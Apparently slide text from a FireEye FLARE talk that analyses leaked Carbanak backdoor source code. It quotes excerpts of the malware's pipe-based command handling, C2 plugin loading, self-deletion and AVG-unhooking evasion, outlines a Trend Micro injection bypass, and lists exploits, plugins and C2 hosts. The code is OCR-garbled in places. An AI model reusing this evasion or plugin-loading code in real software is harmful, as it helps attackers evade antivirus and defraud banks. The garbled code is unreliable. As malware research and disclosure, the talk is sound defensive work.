Здравствуйтэ, Carbanak!
A look inside the Carbanak source code
Agenda

- Background
- Source
- Revisiting our Binary Analysis
- Blind Spots
- Wait, more binaries?
- Video Artifacts
Michael Bailey (@mykill)

Analyzed Carbanak source code – okay, and a few binaries

- Husband, Daddy, Bon Vivant
- Remote from Huntsville, AL
  - Staff Reverse Engineer
  - Writing debuggers
  - FakeNet-NG
- Previously
  - Mandiant Red Team
  - Linux & Windows kernel @ Pikewerks
  - Windows server admin
  - B.S. C.E. @ MSOE
- For fun
  - Spinning DNB Music
  - Banjo??!
James “Tom” Bennett (@jtbennettjr)

FireEye’s original Carbanak analysis – binaries only!

- Based in SoCal
  - Staff Reverse Engineer on the FLARE team
  - Long time focus on improving malware detection technologies
  - More recent focus in aiding investigations and intel with malware analysis
- Previously
  - Trend Micro
- For Fun
  - Video games
  - Hiking
What Is FLARE?
What Reverse Engineers Do

Assemble and Compile


Disassemble and Decompile

.EXE Binary → Disassembler → .OBJ Binary (Assembly Listing) → Decompiler → Decompilation

we make sense of these
Carbanak (aka Anunak)
- Sophisticated and versatile backdoor
- Dating back to early 2014
- Used by select criminal groups, including “Carbanak group”
- We do not attribute all Carbanak backdoor activity to a single group
- Client requested a full analysis report summer of 2016
- Tom spends his summer reverse engineering Carbanak
FIN7 – prolific Russian financial criminals
- Professionals
- Dating back to 2015
- Carbanak users
- Targets payment card data, but flexible
- We’ve had our eye on them for some time

Aug 1st, 2018:
- FBI took custody of three members
- FIN7 operated a “security” company
“Absurd”

@jtibennettjr

Did you take the whopper ticket?

@mykill

Yeah

Heh

Oh man...

That ticket seems kinda absurd

Why do you say?

It's 666 files, megabytes of code to read

I mean you could spend months on that easily
Statistics

- 4.6MB RAR / 20MB unpacked
- 755 files according to `dir /a-d /b /s | wc -l`
- 100,000 lines of code
- 39 binary files
  - 14 plugins and standalone agents
    - Mostly without source code
  - Private key material
  - `.sln` files
  - “other”
The Source Code
Perfectly Readable! (if you know Russian)
Fast-Tracking Russian Language Learning

- vocab.py:
  - Walk source files finding chars outside [32, 126]
  - Sort words by frequency of occurrence (3,400+!)
  - Google Translate (500+), Internet Russian lessons
  - Learned to read/type so I could search my list
# Russian for Malware Analysts

<table>
<thead>
<tr>
<th>Russian</th>
<th>Phonetic</th>
<th>English</th>
<th>Occurrences</th>
<th>Rank (rough)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Файл</td>
<td>f ah y L</td>
<td>file</td>
<td>224</td>
<td>5</td>
</tr>
<tr>
<td>сервер</td>
<td>s e r v e r</td>
<td>server</td>
<td>145</td>
<td>13</td>
</tr>
<tr>
<td>адрес</td>
<td>a d r e s s</td>
<td>address</td>
<td>52</td>
<td>134</td>
</tr>
<tr>
<td>команд</td>
<td>k o m a n d</td>
<td>command</td>
<td>110+</td>
<td>27</td>
</tr>
<tr>
<td>бота</td>
<td>b o t a</td>
<td>bot</td>
<td>130</td>
<td>32</td>
</tr>
<tr>
<td>плагин</td>
<td>p l a h g ee n</td>
<td>plugin</td>
<td>116</td>
<td>39</td>
</tr>
<tr>
<td>сервис</td>
<td>s e r v ee s</td>
<td>service</td>
<td>70</td>
<td>46</td>
</tr>
<tr>
<td>процесс</td>
<td>p r o ts e s s</td>
<td>process</td>
<td>130ish</td>
<td>63</td>
</tr>
</tbody>
</table>
So, source code analysis is a cakewalk, right?
Diabolical Circus of Named Pipes
Named Pipes

- My analysis (too big for slide) →
- Let’s whiz through ~20 out of ~25 functions
- Handling the “secure” command
- Installs malicious notification pkg
  - For persistence
- **WARNING:** This gets ugly.

- **NOTE:** Tom will visit violence upon me if I utter any function names :-P
void ExecCmd_Secure(StringBuilder& cmd, StringBuilder& args)
{
    DbgMsg("Выполнение команды secure[%s]()%s", cmd.c_str(), args.c_str());
    StringArray qa = args.Split(' ');
    if (qa.Count() < 2) return;
    uint arg = qa[0]->Hash();
    SecureParam* param = (SecureParam*)Mem::Alloc(sizeof(SecureParam))
        Mem::Set(param, 0, sizeof(SecureParam));
    Pipe::typeReceiverPipeAnswer handler = 0;
    if (arg == 0x00007391 /*1sa*/)
    {
        param->func = Secure::Lsa;
        handler = HandlerSecurePlugin;
    }
    if (qa.Count() >= 3)
    {
        uint arg3 = qa[2]->Hash();
        if (arg3 == 0x0756aabbc) param->notdel = true;
    }
    if (handler)
    {
        ManagerServer::LoadPlugin(*qa[1], handler, 0, (DWORD)param);
    }
}
```cpp
bool ManagerServer::LoadPlugin( StringBuilder& plugin, Pipe::typeReceive...
  if( GetGlobalState(Task::GlobalState_Plugin) == '0' )
    return LoadPluginAdminka( plugin, func, serverAnswer, tag );
  else
    return LoadPluginServer( plugin, func, serverAnswer, tag );
```
```cpp
bool ManagerServer::LoadPluginAdminka(StringBuilder& plugin, Pipe::type
{ if (serverAnswer == 0) serverAnswer = Pipe::serverPipeResponse;
  return PipeClient::Send(Config::nameManager, CmdLoadPlugin, plugin

bool ManagerServer::LoadPluginServer(StringBuilder& plugin, Pipe::type
{ if (serverAnswer == 0) serverAnswer = Pipe::serverPipeResponse;
  return PipeClient::Send(Config::nameManager, CmdLoadPluginServer,
```

©2018 FireEye
```cpp
bool PipeClient::Send( int cmd, const void* data, int sz_data, const char* namePipe )
{  
    PipeClient pipe(namePipe);  
    return pipe.Send( cmd, data, sz_data, nameReceiver, funcReceiver, tag );  
}

bool PipeClient::Send( const void* data, int sz_data )
{  
    bool ret = false;  
    if( Connect() )  
    {  
        ret = pipe.Send( data, sz_data, nameReceiver, funcReceiver, tag );  
    }  
    return ret;  
}

bool PipeClient::Send( const char* namePipe, int cmd, const void* data, int sz_data )
{  
    PipeClient pipe(namePipe);  
    return pipe.Send( cmd, data, sz_data, nameReceiver, funcReceiver, tag );  
}

bool PipeClient::Send( const char* namePipe, const void* data, int sz_data )
{  
    PipeClient pipe(namePipe);  
    return pipe.Send( data, sz_data );  
}
```
```cpp
bool PipeClient::Write(int cmd, const void* data, int sz_data, const char* path)
{
    if (sz_data < 0) return false;

    int sizeMsg = sizeof(Pipe::Msg) + sz_data;
    Pipe::Msg* msg = (Pipe::Msg*)Mem::Alloc(sizeMsg);

    msg->cmd = cmd;
    Str::Copy(msg->answer, sizeof(msg->answer), nameReceiver);
    msg->func = funcReceiver;
    msg->tag = tag;
    msg->sz_data = sz_data;
    Mem::Copy(msg->data, data, sz_data);

    bool ret = PipePoint::Write(msg, sizeMsg);
    Mem::Free(msg);

    return ret;
}
```
```cpp
bool PipePoint::Write( const void* data, int c_data )
{
    if ( c_data < 0 ) return false;
    if ( c_data == 0 ) return true;
    bool ret = false;
    // копируем в отдельную память данные, чтобы их можно было зашифровать
    void* data2 = Mem::Duplication( data, c_data );
    if ( data2 )
    {
        Crypt::EncodeDecodeXorVector( data2, c_data );
        DWORD writed;
        // отправляем размер сообщения
        if ( API(KERNEL32, WRITEFILE)( pipe, &c_data, sizeof(c_data), &writed ) )
            // отправляем данные
            int sended = 0;
            ret = true;
            while ( sended < c_data )
            {
                if ( !API(KERNEL32, WRITEFILE)( pipe, (byte*)data2 + sended, 1 ) )
                    { ret = false; break; }
                if ( writed == 0 )
                    { ret = false; break; }
                sended += c_data;
            }
        API(KERNEL32, FlushFileBuffers)(pipe);
        Mem::Free(data2);
    }
    return ret;
}
```
```cpp
int ManagerServer::Handler(Pipe::Msg& msgIn, void* msgOut) {
    int ret = 0;
    switch (msgIn->cmd) {
    case CmdReg:
        msgReg = (MsgReg*)msgIn->data;
        PipeNet pipe;
        Str::Copy(pipe.name, sizeof(pipe.name), msg->namePipe
        pipe.priority = msg->priority;
        pipesNet.Add(pipe);
        DBGMsg("Зарегистрирован канал общения через именет: %s",
                msgReg->namePipe);
        GetNewPipeNet0;
        break;
    case CmdRegTask:
        pipeTaskServer = (char*)msgIn->data;
        DBGMsg("Зарегистрирован канал сервера выполнения задач: %s",
                msgReg->namePipe);
        break;
    case CmdRegVideo:
        pipeVideoServer = (char*)msgIn->data;
        DBGMsg("Зарегистрирован канал видео сервера: %s", pipeVideoServer);
        break;
    case CmdRegMonProcesses:
        pipeMonProcesses = (char*)msgIn->data;
        DBGMsg("Зарегистрирован канал мониторинга процессов: %s",
                msgReg->namePipe);
        break;
    case CmdGetCmd:
    case CmdSendData:
    case CmdDownload:
    case CmdLoadPlugin:
    case CmdHttpProxy:
    case CmdSshPortProxy:
    case CmdSetProxy:
    case CmdDeleteProxy:
    case CmdDup:
    case CmdNewAdminLink:
    case CmdSendDataCrossGet:
    case CmdLog:
    case CmdRedirect:
        HandlerAsync(HandlerManagerServer, msgIn, (DWORD)this);
        break;
    ```
bool PipeServer::HandlerAsync(Pipe::typeReceiverPipeAnswer func, Pipe::Pipe& pipe)
{
    if (func == 0) return false;
    StruHandlerAsync* data = (StruHandlerAsync*)Mem::Alloc(sizeof(StruHandlerAsync));
    if (data == 0) return false;
    data->func = func;
    //дублируем сообщение
    int sizeMsg = sizeof(Pipe::Msg) + msg->sz_data;
    data->msg = (Pipe::Msg*)Mem::Duplication(msg, sizeMsg);
    data->tag = tag;
    RunThread(HandlerAsyncThread, data);
    return true;
}
```c
DWORD WINAPI HandlerAsyncThread( void* data )
{
    StruHandlerAsync* data2 = (StruHandlerAsync*)data;
    data2->func( Pipe::AutoMsg(data2->msg), data2->tag );
    Mem::Free(data);
    return 0;
}
```
void HandlerManagerServer(Pipe::AutoMsg msg, DWORD tag)
{
    ManagerServer* manager = (ManagerServer*)tag;
    manager->HandlerCmdAdminPanel(msg);
}
811 bool PipeInetRequest::LoadPlugin( const char* namePipe, const char* plugin, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag )
812 {
813     return SendString( namePipe, CmdLoadPlugin, plugin, funcReceiver, nameReceiver, tag );
814 }
815
816 */SendString
783 bool PipeNetRequest::SendString( const char* namePipe, int cmd, const char* s, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag )
784 {
785     if( nameReceiver == 0 ) nameReceiver = Pipe::serverPipeResponse->GetName();
786     // отправляем строку вместе с завершающим нулем
787     return PipeClient::Send( namePipe, cmd, s, Str::Len(s) + 1, nameReceiver, funcReceiver, tag );
788 }
int PipeInetRequest::Handler(Pipe::Msg* msgIn, void** msgOut)
{
    int ret = 0;
    switch(msgIn->cmd)
    {
    case CmdGetCmd:
        HandlerAsync( HandlerGetCmd, msgIn );
        break;
    case CmdSendData:
        HandlerAsync( HandlerSendData, msgIn );
        break;
    case CmdLoadFile:
        HandlerAsync( HandlerLoadFile, msgIn );
        break;
    case CmdLoadPlugin:
        HandlerAsync( HandlerLoadPlugin, msgIn );
        break;
    case CmdTunnelHttp:
        StartHttpProxy( msgIn->data, msgIn->sz_data );
        break;
    }
```cpp
static void HandlerLoadPlugin( Pipe::AutoMsg msg, DWORD )
{
    Mem::Data plugin;
    if( AdminPanel::LoadPlugin( (char*)msg->data, plugin ) )
        Pipe::SendAnswer( msg, msg->cmd, plugin.Ptr(), plugin.Len() );
    else // в случае ошибки загрузки сообщаем что плагин не загрузился
        Pipe::SendAnswer( msg, msg->cmd, 0, 0 );
```

```cpp
462 bool LoadPlugin( const char* namePlugin, Mem::Data& plugin ) {
        stringBufferStack<64> text;
        text += config::UUID;
        text += "\"; text += config::namePlugin; text += \"\"; text += _CS("\"\"plugin\"\"\"\"\"\"");
        text += namePlugin;
        HTTP::Request request(connector);
        DbgMsg( "Загрузка плагина: %s", text.c_str() );
    #ifdef ONPlugins_FOLDER
        if( AdminPanel::GenUrl( 0, request, text ) ) {
            for( int i = 0; i < 10; i++ ) // делаем 10 попыток загрузить плагин
                { stringBuffer u;
                    DbgMsg( "%s", request.getUrl(u).c_str() );
                    if( request.getCode() == 200 )
                        { if( Decrypt( request.getResponse(), plugin ) )
                            return true;
                        }
                    else DbgMsg( "Ошибка ответа запроса для загрузки плагина "%s", namePlugin, request.getCode() );
                }
        }
    else DbgMsg( "Ошибка " namePlugin, DbgMsg( "Невозможно загрузить плагин, пробуем еще раз" );
    #endif
    return false;
```
```c
void ExecCmd_Secure( StringBuilder& cmd, StringBuilder& args )
{
    DbgMsg("Выполнение команда secure[\%s](\%s)", cmd.c_str(), args.c_str());
    StringArray sa = args.Split( '\' );
    if( sa.Count( ) < 2 ) return;
    uint arg = sa[0]->Hash();
    SecureParam* param = (SecureParam*)Mem::Alloc( sizeof(SecureParam) );
    Mem::Set( param, 0, sizeof(SecureParam) );
    Pipe::typeReceiverPipeAnswer handler = 0;
    if( arg == 0x000007391 /*\%sa*/ )
    {
        param->func = Secure::Lsa;
        handler = HandlerSecurePlugin;
    }
    if( sa.Count( ) >= 3 )
    {
        uint arg3 = sa[2]->Hash();
        if( arg3 == 0x076aabc ) param->notdel = true;
    }
    if( handler )
    {
        ManagerServer::LoadPlugin( *sa[1], handler, 0, (DWORD)param );
    }
}
```
```
static void HandlerSecurePlugin(Pipe::AutoMsg msg, DWORD tag)
{
    if (msg->sz_data == 0) return;
    DbgMsg("" Загрузка плагина для секретной установки %08x %08x", tag, msg->sz_data);
    SecureParam param = SecureParam(tag);
    Mem::Data data;
    UnprotectBot();
    data.Link(msg->data, msg->sz_data);
    bool res = false;
    StringBuilder max_path folderBot;
    config::getBotFolder(folderBot);
    if (param->func(data, folderBot)) // Secure::Lsa in our case
    {
        DbgMsg("Установка dll завершилась успешно");
        res = true;
    }
    else
        DbgMsg("DLL не удалось установить");
    ProtectBot();
    data.Unlink();
    // добавляем команду для удаления текущего бота
    if (res && !param->module)
    {
        StringBuilder delCmd:
        delCmd = CS("del");
        if (config::state & IS_SERVICE)
        {
            delCmd += CS("service");
            delCmd += Config::nameService;
        }
        else
            delCmd += CS("file");
        delCmd += Config::file_nameBot;
    }
    Task::AddStartCmd(delCmd);
    Mem::Free(param);
```
Named Pipes

- Control flow is
  - Divergent
  - C2 protocols
  - Subtly different pipe message types
  - Ambiguous
  - TBH, confusing
Malware Mechanisms in Source
Loop

- Get process name
- Name -> hash
- Compare against all
- Return some numbers
Ah, source code

- Beautiful context
AV Evasion: AVG

- AVG evasion was commented out in AV.cpp

```c
50 /*
51 bool AVGUnload()
52 {
53 typedef BOOL(WINAPI *typeDllMain)(_In_ HINSTANCE hinstDLL,_In_ DWORD fdwReason, _In_ LPVOID lpvReserved);
54 typeDllMain DllMain;
55 HINSTANCE dllAvg = API(KERNEL32, GetModuleHandleA)(_CS("avghookx.dll"));
56 if( dllAvg )
57 {
58     DbgMsg("Обнаружен AVG (avghookx.dll)"); //необходима версия AVG, которая поддерживает проверку на вирусы
59     IMAGE_NT_HEADERS ntHeaders = PE::GetNTHeaders(dllAvg);
60     DWORD addrEP = (DWORD)dllAvg + ntHeaders->OptionalHeader.AddressOfEntryPoint;
61     DllMain = (typeDllMain)addrEP;
62     DllMain( dllAvg, DLL_PROCESS_DETACH, NULL ); //снять флаги AVG
63     return true;
64 }
65 else
66     DbgMsg(" AVG не обнаружен" );
67     return false;
68 }*/
```
AV Evasion: AVG

- AVG evasion was commented out in AV.cpp
  - Un-commented below for syntax highlighting
  - Ryan Warns tested; FLARE disclosed late 2017

```cpp
bool AVGUUnload()
{
    typedef BOOL(WINAPI *typeDIIMain)(_In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved);
    typeDIIMain DIIMain;
    HINSTANCE dIIAvg = API(KERNEL32, GetModuleHandleA)(_CS("avghookx.dll"));
    if (dIIAvg)
    {
        DbgMsg("Обнаружен AVG (avghookx.dll)");
        PIMAGE_NT_HEADERS ntHeaders = PE::GetNTHeaders(dIIAvg);
        DWORD addrEP = (DWORD)dIIAvg + ntHeaders->OptionalHeader.AddressOfEntryPoint;
        DIIMain = (typeDIIMain)addrEP;
        DIIMain(dIIAvg, DLL_PROCESS_DETACH, NULL);  //снятие хуков AVG
        return true;
    }
    else
    {
        DbgMsg("AVG не обнаружен");
        return false;
    }
}
```
AV Evasion: Trend Micro

- Process injection:
  - Create child process;
  - Write code to an unnamed page file section/mapping;
  - Call `ZwMapViewOfSection` allowing child to access code
  - Queue an APC to execute it

- Avoids:
  - `VirtualAllocEx`
  - `WriteProcessMemory`
  - `CreateRemoteThread`
  - And most importantly: Trend Micro

- Ryan Warns tested; FLARE disclosed late 2017
Hi Michael,

Greetings!

To give you the findings on this report, the attack described on this report can be detected by Officescan's "Aggressive Event" feature that is new for Officescan's behavioral monitoring function. It is advised to enable the Behavior Monitoring feature to mitigate such attack.

Thank you very much for reaching out to us and should there be questions or clarifications, please let me know.

Have a great day!

Regards,

Trend Micro Product Vulnerability Response Team
Author Characterization
Author Characterization

- Version 1 UUIDs (MAC addresses or timestamps)
  - All standard
- Paths
  - VS files mostly reference drive 0: as source root, except...
    - C:\Users\hakurei reimu\AppData\Local\Temp
    - C:\Users\Igor\AppData\Local\Temp
    - E:\Projects\progs\Petrosjan\WndRec\...
    - E:\Projects\progs\sбу\WndRec\...
- Nothing conclusive
Source Code Survey
Exploits
Sploits

- **Sdrop** – Runs `nameExe` param with system rights, research points to CVE-2013-3660
  - Internals intersect with other win32k vulnerability “PathRec”, so CVE-2013-3660 not positively confirmed
- **NDProxy** – NDProxy.sys exploit CVE-2013-5065 originally authored by secniu
- **PathRec** – CVE-2013-3660 copied ~verbatim from Rapid7’s Metasploit repo
- **UACBypass** – UAC bypass via DLL hijacking
- **COM** – Disables elevation prompts/dialogs via IFileOperation COM interface
- **CVE-2014-4113** – win32k.sys privesc
- **BlackEnergy2**
- **EUDC**
Passwords, Key Material, and Secrets
C2 Passwords, RSA private key, Test cert
NBIs

- Did find real NBIs
- But all documented by FireEye intelligence

<table>
<thead>
<tr>
<th>NBI</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>comixed.org</td>
<td>Commented</td>
</tr>
<tr>
<td>194.146.180.40</td>
<td>Commented</td>
</tr>
<tr>
<td>aaaaabbbcccccc.org</td>
<td>Active</td>
</tr>
<tr>
<td>stats10-google.com</td>
<td>Commented</td>
</tr>
<tr>
<td>192.168.0.100:700</td>
<td>Active</td>
</tr>
<tr>
<td>80.84.49.50:443</td>
<td>Commented</td>
</tr>
<tr>
<td>52.11.125.44:443</td>
<td>Commented</td>
</tr>
<tr>
<td>85.25.84.223</td>
<td>Commented</td>
</tr>
<tr>
<td>qwqreererwere.com</td>
<td>Active</td>
</tr>
<tr>
<td>akamai-technologies.org</td>
<td>Commented</td>
</tr>
<tr>
<td>192.168.0.100:700</td>
<td>Active</td>
</tr>
<tr>
<td>37.1.212.100:700</td>
<td>Commented</td>
</tr>
<tr>
<td>188.138.98.105:710</td>
<td>Commented</td>
</tr>
<tr>
<td>hhklhlhhkjhjkjkj.k.org</td>
<td>Embedded</td>
</tr>
<tr>
<td>192.168.0.100:700</td>
<td>Embedded</td>
</tr>
</tbody>
</table>
Were we right in our blog?
Our Carbanak Blog

- Barry Vengerik and I wrote a blog on the Carbanak backdoor and its userbase a little over a year ago

- Meant to supplement technical analysis previously reported by others ¹, ² and bring some novel insight into the operational details of the tool and its users

- We shared some conclusions based on this research, but were they accurate?

Behind the Blog: Hunting for More Carbanak

- Lots of Carbanak tickets submitted over the years
- Samples would be easy to hunt for, but always packed
- Could hunt for packed samples, but no useful data to extract
- Generic automated unpacker + giant malware repo + Carbanak signatures = hundreds of unpacked Carbanak samples!!
- After culling out samples that revealed customer sensitive data, still 220 samples to report on
Processing Carbanak Samples in Bulk

- Original compile time for template samples
- Command & Control (C2) protocol version

- Campaign marker and configured C2 addresses/ports
Now that we have source code, let’s look back

Conclusion

The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows:

1. Execution of C2 commands is achieved by modifying the malicious PE file.
2. Some of the operators may be compiling their own builds of the backdoor independently.
3. A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build.
Evidence for Build Tool

- Carbanak encrypts its strings to make analysis harder
- No two samples used the same string encryption table
- Samples with identical compile times utilized different encryption keys and addresses for C2 comms
- Data in binaries changed without recompiling
And the source dump says...
Строки

```c
// макрос формирования шифрованных строк
#define ON_CODE_STRING

// для переменных в теле функций
#define _CS(X) DECODE_STRING("BS" X "ES")
#define _WC(X) DECODE_STRINGW("BS" X "ES")

// для заполнения строками структурами, в таких случаях
#define _CT(X) ("BS" X "ES")

#define _CS(X) X
#define _CT(X) X

#define _WC(X) L##X
```

```c
#define BEGIN_ENCODE_STRING "BS"
#define END_ENCODE_STRING "ES"

string_crypt.h

const char* DECODE_STRING( const char* );
const char* DECODE_STRING2( const char* );
wchar_t* DECODE_STRINGW( const char* );
wchar_t* DECODE_STRINGW2( const char* );
```

builder.h

```c
#define BEGIN_ENCODE_STRING "BS"
#define END_ENCODE_STRING "ES"
```

©2018 FireEye
What About Those Template Binaries?

Conclusion

The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows:

1. Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).
2. Some of the operators may be compiling their own builds of the backdoor independently.
3. A build tool is likely being used to automate the configuration details such as C2 servers.

Rapid Builds

Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.
Rapid Builds

- Spanning just over 2 years, 57 unique compile times discovered
- Despite having a build tool, samples were found with compile times within as low as 4 hours of each other
- Several of these samples had the exact same configuration
- Why the need to recompile so often??
And the source dump says...
ifdef/#endif preprocessor directives determine whether code is “seen” by compiler
Configure macros before building project

```cpp
8  void Execute()
9  {
10     #ifdef PLUGINS_TRUSTED_HOSTS
11         RunThread( TrustedHosts, 0 );
12     #endif

14     #ifdef PLUGINS_FIND_OUTLOOK_FILES
15         if( ManagerServer::GetGlobalState(Task::GlobalState_OutlookFiles) == '0' )
16             {
17                 RunThread( FindOutlookFiles, 0 );
18                 ManagerServer::SetGlobalState( Task::GlobalState_OutlookFiles, '1' );
19             }
20     #endif

22     #ifdef PLUGINS_MONITORING_FILE
23         RunThread( MonitoringFile, 0 );
24     #endif
25
26 }
```
Distributed Source Code Theory

- Based on newer compile times using older C2 protocol versions
- Probable that multiple, independent copies of Carbanak project exist
- Source code might not be centralized, but distributed to various independent groups

Carbanak Sample
- Compiled 2016-06-07
- Implements protocol version 4
- Protocol version 5 seen as early as 2016-04-22
How’s my reversing? [ID: @jtbennetjr]
Compliments or Concerns? Dial 1-877-347-3393
My analysis

```c
int __stdcall doSomeThings(int a1)
{
    3    DWORD *loadconfig; // eax@1
    int v2; // esi@0
    int v3; // edi@3
    6    DWORD *info_txt; // eax@3
    DWORD *runnemWl; // eax@3
    streamU2 streamHostInfo; // [esp+Ch] [ebp-14h]@3
    int v8; // [esp+1Ch] [ebp-4h]@1

    loadconfig = (_DWORD *)decodeStringWrap(&v8, "$\$'eep\$R\"gtlom\"$\$); //
    executeCmd(*loadconfig, -1);
    heapFreeWrap(v8);
    call_sleep(1000);
    if ( g_stateFlags & 0x800 )
        updateGlobalFlag(3, '1');
    sendKlgconfigPlguNameManagerPipeMsgs();
    stream_insertStringWrap(&streamHostInfo, 128, 0, -1);
    getHostInfo(&streamHostInfo);
    v2 = streamHostInfo.cursor;
    v3 = streamHostInfo.lpStream;
    info_txt = (_DWORD *)decodeStringWrap(&v8, "$\$d\$\"g1-\"$\$); //
    sendCmdResponse(*info_txt, v3, v2, 0, 0);
    heapFreeWrap(v8);
    KlickOffFTPandPSTheftThreads();
    sendListProcesses(1);
    runnemWl = (_DWORD *)decodeStringWrap(&v8, "$\$t\$\"\$\$yF\$\$1\"$\$); //
    executeCmd(*runnemWl, -1);
    heapFreeWrap(v8);
    stream_dtor(&streamHostInfo);
    return 0;
}
```

Source view

```c
// Выполняет команды сразу после запуска (бота (fulfills commands at once after launching bot))
static DWORD WINAPI FirstExecuteCommands( void* )
{
    while ( !Config::fileNameConfig[0] ) Delay(1000); // пока не станет известно имя файла команд.
    ManagerServer::CmdExec(_CS("loadconfig") void*);
    Delay(1000); // ЖДУМ ПОКА ВЫПОЛНЯЕТСЯ ПОДСУТ
    if ( Config::state & PLUGINS_SERVER ) // Начать плагины от сервера
        ManagerServer::SetGlobalState( Task:="GlobalState_Plugin", '1' );
    LoadKeyloggerConfig();
    #if defined(ON_MIMIKAT2)
    #define sendAllLogonsThread()
    #else
    #define sendAllLogonsThread()
    #endif
    int ret = managerServer::CmdExec(_CS("runnem wi.exe") void*);
    return ret;
    
    StringResponse &comment = GetEnvironmentComment(comment);
    ManagerServer::SendData(_CS("info.txt") comment.str, comment.Len(), false);
    PluginsNewExecute();
    SendListProcesses(); // Отсылает список процессов в админу
    ManagerServer::CmdExec(_CS("runnem wi.exe") void*);
    return 0;
}
```
My analysis

Source view

```c
int _stdcall doSomeThings(int a1)
{
    _DWord* loadconfig; // eax@1
    int v2; // esi@0
    int v3; // edi@0
    _DWord* info_txt; // eax@3
    _DWord* runmemWi; // eax@3
    _StringU2 streamHostInfo; // [esp+Ch] [ebp-14h]@3
    int v8; // [esp+1Ch] [ebp-4h]@1

    loadconfig = (_DWord*)decodeStringWrap(&v8, "x$'eehr"gtlom");
    executeCmd(*loadconfig, -1);
    heapFreeWrap(v8);
    call sleep(1000);
    if (g_stateFlags & 0x800 )
        updateGlobalFlag(3, '1');
    sendK1gconfigPluginNameManagerPipeMsgs();
    stream_insertStringWrap(&streamHostInfo, 128, 0, -1);
    getHostInfo(&streamHostInfo);
    v2 = streamHostInfo.cursor;
    v3 = streamHostInfo.lpStream;
    info_txt = (_DWord*)decodeStringWrap(&v8, "%diRvC*y1~-");
    sendCmdResponse(*info_txt, v3, v2, 0, 0);
    heapFreeWrap(v8);
    KickOffPSTandPOSTHeftThreads();
    sendListProcesses(1);
    runmemWi = (_DWord*)decodeStringWrap(&v8, "t&\"tti!o5~"yF\}1")
    executeCmd(*runmemWi, -1);
    heapFreeWrap(v8);
    stream_dtor(&streamHostInfo);
}
```
My analysis

Source view
My analysis

Source view

```c
int __stdcall doSomeThings(int a1)
{
    DWORD *loadconfig; // eax@1
    int v2; // esi@0
    int v3; // edi@0
    DWORD *info_txt; // eax@3
    DWORD *runnenWi; // eax@3
    streamU2 streamHostInfo; // [esp+Ch] [ebp-14h]@3
    int v8; // [esp+1Ch] [ebp-4h]@1

    loadconfig = (DWORD *)decodeStringWrap(&v8, "%$" "eepR" "gtlom" );
    executeCmd("loadconfig", -1);
    heapFreeWrap(&v8);
    call_sleep(1000);
    if ( g_stateFlags & 0x8000 )
        updateGlobalFlag(3, '1');
    sendK1gconfigPlugiNameManagerPipeMsgs();
    stream_insertStringWrap(&StreamHostInfo, 128, 0, -1);
    getHostInfo(&StreamHostInfo);
    v2 = streamHostInfo.cursor;
    v3 = streamHostInfo.length;
    info_txt = (DWORD *)decodeStringWrap(&v8, "%$" "diRgC" "y1" );
    sendCmdResponse(&info_txt, v3, v2, 0, 0);
    heapFreeWrap(&v8);
    kickoffPSandPOTheftThreads();
    sendlistProcesses(1);
    runnenWi = (DWORD *)decodeStringWrap(&v8, "t&") "t&")" ) v5 = "yF" )1" );
    executeCmd("runnenWi", -1);
    heapFreeWrap(&v8);
    stream dto=(&StreamHostInfo);
    return 0;
}
```
My analysis

Source view
All done now, right?
@mykill

Too
Much
CARBANAKKKKKKKKKKKKK

@jtbenneettjr

I thought you were done?

With the L1
Under the Details section of the L1 for the source code, check out all these L1s...
https://

Almost done
Breathless...
But almost done
I think 19 binaries total (including all embedded, variants, decoded, etc.)

Ughhhhhhh

Lol. This is nuts
That’s 20 L1s
Other Binaries

- **bot.dll**: Carbanak – but who cares? 😊
- **wi.exe**: configurable web injection
- **met.plug**: Metasploit with stager for `tinymet` command
- **newdns.exe**: Cobalt Strike DNS
- **pos.dll**: Card scraper
- **vnc.plug, vnc64.plug, hvnc.plug, hvnc64.plug**: assorted (hidden) VNC plugins
- **plugin_kl.exe**: keystroke logger
- **AutorunSidebar.dll**: Windows Gadget persistence (with source code!)
- **rdpwrap.dll**: open 3389 in fw, enable mult. TermSvc conns
Other Binaries

- bot.dll: Carbanak – but who cares? 😊
- wi.exe: configurable web injection
- met.plug: Metasploit with stager for tinymet command
- newdns.exe: Cobalt Strike DNS
- pos.dll: Card scraper
- vnc.plug, vnc64.plug, hvnc.plug, hvnc64.plug: assorted (hidden) VNC plugins
- plugin_kl.exe: keystroke logger
- AutorunSidebar.dll: Windows Gadget persistence (with source code!)
- rdpwrap.dll: open 3389 in fw, enable mult. TermSvc conns
Other Binaries

- bot.dll: Carbanak – but who cares? 😊
- wi.exe: configurable web injection
- met.plug: Metasploit with stager for tinymet command
- newdns.exe: Cobalt Strike DNS
- pos.dll: Card scraper
- vnc.plug, vnc64.plug, hvnc.plug, hvnc64.plug: assorted (hidden) VNC plugins
- plugin_kl.exe: keystroke logger
- AutorunSidebar.dll: Windows Gadget persistence (with source code!)
- rdpwrap.dll: open 3389 in fw, enable mult. TermSvc conns
But That’s Not All
@mykill

I got suckered into creating a customer-facing report on Carbanak based on my L1/L2 of the source code dump. It's going to be like 90 pages. And because I enjoy pain (i.e. trying to cram in too much work for the time allotted), I've decided to ask if you have any materials I can incorporate? In particular, I'd be keen to get a screenshot of the RDP player and pimp the effort you put into making it work.
Carbanak can record video of your desktop
Attackers purportedly viewed recorded desktop videos to gain understanding of operational workflow of bankers
Used this feature along with other features of Carbanak and other tools to insert fraudulent transactions and steal millions of dollars
Reversed video format and uncommented old source to make RDP player work for old video files we found
One such video was very interesting..

The Attacker’s View
Desktop Video

